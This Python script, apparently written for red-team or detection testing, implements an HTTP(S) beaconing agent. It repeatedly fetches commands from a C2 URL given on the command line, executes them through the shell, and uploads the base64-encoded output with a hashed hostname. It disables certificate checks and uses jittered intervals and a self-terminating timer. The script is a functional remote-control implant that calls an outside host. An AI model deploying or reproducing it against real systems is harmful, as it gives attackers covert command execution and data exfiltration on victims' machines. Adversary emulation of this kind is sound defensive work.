import random
import string
import socket
import argparse
import sys
import time
import os
import base64
from hashlib import md5
import logging
import threading

try:
    import requests
except ImportError:
    print("Missing dependency requests: <https://requests.readthedocs.io/en/master/>. Please install it with `pip install requests`.")
    sys.exit(1)

requests.packages.urllib3.disable_warnings()

# defines the log format
LOG_FORMAT = "%(asctime)s.%(msecs)03d - %(levelname)s - %(message)s"
DATE_FORMAT = "%m/%d/%Y %H:%M:%S"
logging.basicConfig(filename='my.log', level=logging.INFO, format=LOG_FORMAT, datefmt=DATE_FORMAT)


def command_retriever(url):
    header = {'OS':os.name}
    r = http_request_sender(url,header,None, "get")
    return r.text


def command_executor(cmd):
    # redirect stderr to stdout
    with os.popen(cmd + " 2>&1") as r:
        return r.read()


def output_uploader(url, output):
    payload = {'hostname':md5(socket.gethostname().encode()).hexdigest(), 'output':base64.b64encode(output.encode()).decode()}
    r = http_request_sender(url,None,payload,"post")
    return r.text


def http_request_sender(url,header,data,method):
    logging.info("sending https {method} request to {url} with header {header}, data {data}".format(method=method,url=url,header=str(header),data=str(data)))
    if method == 'post':
        r = requests.post(url,headers=header,data=data,verify=False)
    else:
        r = requests.get(url,headers=header,data=data,verify=False)
    logging.info("received https response of data: "+r.text)
    return r


# a very simple thread timer to terminate the process after timeout
class timer(threading.Thread):
    def __init__(self,timeout):
        threading.Thread.__init__(self)
        self.timeout = timeout

    def run(self):
        time.sleep(self.timeout)
        os._exit(1)
        

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="HTTP(S) Beaconing agent emulation")
    parser.add_argument("-u", metavar="URL", help="the url where the HTTP(S) Beaconing agent will connect to, eg http://1.2.3.4:80/", required=True)
    parser.add_argument("-i", metavar="interval", help="the interval time in seconds of the HTTPS Beaconing agent connecting to the c2 server, default to be 60 seconds", required=False, type=int, default=60)
    parser.add_argument("-j", metavar="jitter", help="the jitter value(between 0 and 1) of the HTTPS Beaconing agent, to add randomization to the interval, default to be 0", required=False, type=float, default=0)
    parser.add_argument("-t", metavar="timeout", help="the time in minutes after which the agent will terminate, default to be 10", required=False, type=int, default=10)
    args = parser.parse_args()

    # start a timer
    thread = timer(args.t*60)
    thread.start()

    interval = args.i
    jitter = args.j
    url = args.u
    if jitter > 1 or jitter < 0:
        jitter = random.uniform(0,1)

    while True:
        command = command_retriever(url)
        output = command_executor(command)
        while output_uploader(url,output) != 'ok':
            pass
        tosleep = random.uniform(interval*(1-jitter), interval*(1+jitter))
        time.sleep(tosleep)

